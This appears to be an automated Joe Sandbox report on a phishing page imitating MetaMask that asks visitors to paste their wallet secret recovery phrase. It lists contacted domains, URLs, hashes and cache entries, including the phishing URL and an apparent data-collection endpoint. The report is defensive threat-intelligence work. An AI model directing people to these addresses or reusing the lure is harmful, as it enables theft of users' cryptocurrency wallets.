https://promisesaplus.com/#point-48	0%	URL Reputation	safe
https://bestfilltype.netlify.app/logo.png	0%	URL Reputation	safe
https://bestfilltype.netlify.app/eye-close.png	0%	URL Reputation	safe
https://sizzlejs.com/	0%	URL Reputation	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	0%	URL Reputation	safe
https://bestfilltype.netlify.app/tada.png	0%	URL Reputation	safe
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	1%	Virustotal		Browse
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	0%	Virustotal		Browse
https://github.com/jquery/jquery/pull/557)	0%	Virustotal		Browse
https://github.com/eslint/eslint/issues/6125	0%	Virustotal		Browse
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	0%	Virustotal		Browse
https://github.com/jquery/sizzle/pull/225	0%	Virustotal		Browse
https://github.com/eslint/eslint/issues/3229	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gtomitsuka.github.io	185.199.108.153	true	false	0%, Virustotal, Browse	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
code.jquery.com	151.101.2.137	true	false	1%, Virustotal, Browse	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.185.68	true	false	0%, Virustotal, Browse	unknown
pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev	172.66.0.235	true	false	14%, Virustotal, Browse	unknown
bestfilltype.netlify.app	18.192.94.96	true	false	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html	true		unknown
https://gtomitsuka.github.io/gibberish-detector.js/gibberish.min.js	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/full.png	false	URL Reputation: safe	unknown
https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html	false		unknown
https://bestfilltype.netlify.app/confirm.png	false	URL Reputation: safe	unknown
https://code.jquery.com/jquery-3.1.1.min.js	false	URL Reputation: safe	unknown
https://code.jquery.com/jquery-3.3.1.js	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/icon.png	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/logo.png	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/eye-close.png	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/tada.png	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
http://jquery.org/license	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://jsperf.com/thor-indexof-vs-for/5	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://bugs.jquery.com/ticket/12359	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_79.2.dr, chromecache_88.2.dr	false	1%, Virustotal, Browse	unknown
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-75	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	chromecache_79.2.dr, chromecache_88.2.dr	false	0%, Virustotal, Browse	unknown
https://drafts.csswg.org/cssom/#common-serializing-idioms	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://github.com/eslint/eslint/issues/6125	chromecache_79.2.dr, chromecache_88.2.dr	false	0%, Virustotal, Browse	unknown
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/jquery/pull/557)	chromecache_79.2.dr, chromecache_88.2.dr	false	0%, Virustotal, Browse	unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_79.2.dr, chromecache_88.2.dr	false	0%, Virustotal, Browse	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
http://opensource.org/licenses/MIT).	chromecache_75.2.dr, chromecache_91.2.dr	false	URL Reputation: safe	unknown
https://bugs.jquery.com/ticket/13378	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-64	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-61	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/eye-open.png	chromecache_77.2.dr	false	URL Reputation: safe	unknown
https://drafts.csswg.org/cssom/#resolved-values	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://metamask.io/	chromecache_77.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-59	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://jsperf.com/getall-vs-sizzle/2	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-57	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://github.com/eslint/eslint/issues/3229	chromecache_79.2.dr, chromecache_88.2.dr	false	0%, Virustotal, Browse	unknown
https://promisesaplus.com/#point-54	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#category-listed	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://jquery.org/license	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://jquery.com/	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=137337	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-48	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://shshdjdhakfoabg.publicvm.com/new.php	chromecache_77.2.dr	false		unknown
https://github.com/jquery/sizzle/pull/225	chromecache_79.2.dr, chromecache_88.2.dr	false	0%, Virustotal, Browse	unknown
https://sizzlejs.com/	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	chromecache_79.2.dr, chromecache_88.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
18.192.94.96	bestfilltype.netlify.app	United States	16509	AMAZON-02US	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
172.66.0.235	pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev	United States	13335	CLOUDFLARENETUS	false
185.199.108.153	gtomitsuka.github.io	Netherlands	54113	FASTLYUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1521686
Start date and time:	2024-09-29 02:09:21 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@17/45@20/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.195, 142.250.184.206, 74.125.133.84, 34.104.35.123, 142.250.184.202, 142.250.186.106, 172.217.16.195, 216.58.206.74, 142.250.186.138, 216.58.206.42, 142.250.186.170, 172.217.16.202, 172.217.18.10, 216.58.212.170, 142.250.185.74, 142.250.185.138, 216.58.212.138, 142.250.185.170, 142.250.74.202, 142.250.186.42, 142.250.185.106, 142.250.186.74, 20.12.23.50, 199.232.214.172, 192.229.221.95, 13.85.23.206, 20.242.39.171, 142.250.186.35, 93.184.221.240
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, sls.update.microsoft.com, update.googleapis.com, hlb.apr-52dd2-0.edgecastdns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ajax.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html Model: jbxai	{ "brand":["MetaMask"], "contains_trigger_text":true, "trigger_text":"You can paste your entire secret recovery phrase into any field", "prominent_button_name":"icon", "text_input_field_labels":["eye-close"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html Model: jbxai	{ "brand":["MetaMask"], "contains_trigger_text":true, "trigger_text":"You can paste your entire secret recovery phrase into any field", "prominent_button_name":"icon", "text_input_field_labels":["eye-close"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Sep 28 23:10:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9735682127041634
Encrypted:	false
SSDEEP:	48:8odFTNFhnHmcidAKZdA19ehwiZUklqehwtfy+3:8SvhBnfy
MD5:	92D2914CA0ACF2BE91F80584EACCA9B6
SHA1:	14B9206979AC9203AE8846D37D56143744C007FD
SHA-256:	1F12F4315ECA1F6D9A34EF2FEC0213D78591977E5BBE0BD4320B921B99EE0040
SHA-512:	414E39860D53FE34D33EFE8ACEE7DEAF7760D946C49161F34E39DCCDAE9735FB1F5BFD6622F147C1FA74804D06449D815015446DFEFADC9AD2F6D9BDB7E50B5B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,............N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=YG.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=YG.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=YG.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=YG............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V=YI............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............T.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Sep 28 23:10:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.986184988866016
Encrypted:	false
SSDEEP:	48:8SdFTNFhnHmcidAKZdA1weh/iZUkAQkqehFtfy+2:8Qvhz9QSfy
MD5:	BD39B4975B09506047D99248C93B51CD
SHA1:	3B81FC368D5AF63DF7DDF415148FBC13EF14B0CA
SHA-256:	A16AA7D97B300BFF653AAAA6D7BA1AB2B2C6AAC83C55964EAF068B3AF74560E4
SHA-512:	33C3F71962B7C2AB4DCD3B9AA815898A1FE0247339392F0D046349E2C35DB4DE96D814DE3A3C0DEE679E68FDEA1141844A8053A49807DF7F423FE599A2AAD16A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....@.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=YG.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=YG.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=YG.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=YG............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V=YI............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............T.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.998757013653411
Encrypted:	false
SSDEEP:	48:8xedFTNFsHmcidAKZdA14tseh7sFiZUkmgqeh7s7tfy+BX:8xsvenbfy
MD5:	8083292B4B68ECC0847C3F3D00B6F83E
SHA1:	B6CDC50EA2F278259DB1166BEAFE908A27CA0928
SHA-256:	FF8144C5B193953BC77B48DC3460C3C2F11FE6B930A4824174D55F59BDB119F8
SHA-512:	A8B4DC36C068208BE3BEF69125D50CE6037F5B996D23D8BF7E916B9F4F8CD8D594009CEF16DDD8FB92B9B0D933F398B894C8A15F82BB9AD71297073D0B443AE6
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=YG.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=YG.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=YG.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=YG............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............T.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Sep 28 23:10:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9863284625529047
Encrypted:	false
SSDEEP:	48:8ydFTNFhnHmcidAKZdA1vehDiZUkwqehJtfy+R:8wvhwRfy
MD5:	D9F689FCF09AC5711E9CE18169E43B30
SHA1:	35B6DAD1BE9E2E23BAB1DC3E23289F02A8AC98F3
SHA-256:	2BAB03E214DEE2A7C76F49B6B4EECBD8A6BD51211445CC31C9B785688E95864E
SHA-512:	D8903BEBA499E6298527A8D7466483CA288CF50CE07EB5C86F0D6775D66C897BED57D6586E198D87D88747C0B89B305261E8153D1FB7317859DFAC8580DBC406
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....\|<......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=YG.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=YG.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=YG.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=YG............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V=YI............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............T.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Sep 28 23:10:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.975179948591588
Encrypted:	false
SSDEEP:	48:8LdFTNFhnHmcidAKZdA1hehBiZUk1W1qehHtfy+C:8fvhw9tfy
MD5:	FC74A74E56F400F049F170F6F78ADA9A
SHA1:	2740942ECD3C76E01970A6A1A4F7516720C1D6D9
SHA-256:	2803337EE648EE9A9175B1D3E8C8B0E53B3BE0E15207EC83820A8F6B1CEAA717
SHA-512:	8E46B03E67A945800D432BCBA5C35B05D5E212F6D128EF843B5C4D7692BD8037940DD2F9F1759BA957D632B661956B677109B077E2793A4BCF1DFA661F74048E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....T.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=YG.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=YG.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=YG.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=YG............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V=YI............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............T.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Sep 28 23:10:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.984113952480467
Encrypted:	false
SSDEEP:	48:8XQdFTNFhnHmcidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbxtfy+yT+:86vh+T/TbxWOvTbbfy7T
MD5:	91D563E42BB33508F9E63828B16E0D28
SHA1:	4AD5FA6B13080991C8EB78EA162979768912550B
SHA-256:	CB1B7912A90927388BD821F72C3D9BF9AF36CBF19D32AB019923AB92B9198FF9
SHA-512:	A79FDE2D7342F5753CBCC42BF8EDAA3BCB7A40C6235134777F3110EA1332648154C7D0A9BF40336782B216463C4342C9B1DAACF5C091F6FEDFF312853E14F4CA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,............N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I=YG.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V=YG.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V=YG.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V=YG............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V=YI............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............T.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (502)
Category:	downloaded
Size (bytes):	928
Entropy (8bit):	5.333713221578333
Encrypted:	false
SSDEEP:	24:2zH6UD5xZsJYGt024zSyxciFNckPUgtLYcHY5uwQU:VGkiFNjUgtzHmu5U
MD5:	8D974AFF636CAB207793BF6D610F3B04
SHA1:	85FD44D22ABD86E2F83B887F3BBEDA06D29F78B9
SHA-256:	053185739C0926BB0DBCE6C3834392E05C605F28D57495FE076EA595BB45C53A
SHA-512:	9919371379E760E1BEA4662321EE5D0DF07A2712D4BD9C6680C5BC563EB801138BBD4814C120E967C5271F2B8ED9643AA1DF855CD10B5FEB5A9B06DB1FCE2F39
Malicious:	false
Reputation:	low
URL:	https://gtomitsuka.github.io/gibberish-detector.js/gibberish.min.js
Preview:	(function(h){function e(c,b,a){return c<b?(a=b-c,Math.log(b)/Math.log(a)100):c>a?(b=c-a,Math.log(100-a)/Math.log(b)100):0}function k(c){for(var b={},a="",d=0;d<c.length;++d)c[d]in b\|\|(b[c[d]]=1,a+=c[d]);return a}h.detect=function(c){if(0===c.length\|\|!c.trim())return 0;for(var b=c,a=[];a.length<b.length/35;)a.push(b.substring(0,35)),b=b.substring(36);1<=a.length&&10>a[a.length-1].length&&(a[a.length-2]+=a[a.length-1],a.pop());for(var b=[],d=0;d<a.length;d++)b.push(k(a[d]).length);a=100b;for(d=b=.0;d<a.length;d++)b+=parseFloat(a[d],10);a=b/a.length;for(var f=d=b=0;f<c.length;f++){var g=c.charAt(f);g.match(/^[a-zA-Z]+$/)&&(g.match(/^(a\|e\|i\|o\|u)$/i)&&b++,d++)}b=0!==d?b/d100:0;c=c.split(/[\W_]/).length/c.length100;a=Math.max(1,e(a,45,50));b=Math.max(1,e(b,35,45));c=Math.max(1,e(c,15,20));return Math.max(1,(Math.log10(a)+Math.log10(b)+Math.log10(c))/6100)}})("undefined"===typeof exports?this.gibberish={}:exports);.

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5515
Entropy (8bit):	5.355616801848795
Encrypted:	false
SSDEEP:	96:QO1a+Vc+ukO1abNQOEaDVc+ukOEaHNQOXauVc+ukOXaLNQOxMaRVc+ukOxMaqNQW:mEdFLQyU3T9a7gJdussnzk
MD5:	3B584B90739AC2DE5A21FF884FFE5428
SHA1:	DDAE0070CBC299E32AB0F61A3BDEFA3A4D4D07BE
SHA-256:	B54469A21994F21A482F3A8E006B7F887A973E9519C3D7D55D379FF2ACD33C87
SHA-512:	3A155086DAA5AD8D40A302BD1D5F744BC7D5A1B853ABFF1E41147328E13F50F168FC06245F178680290DD250BC44B8E369913A8889E8F451AA3A3BAD5191F11C
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700;800;900&display=swap
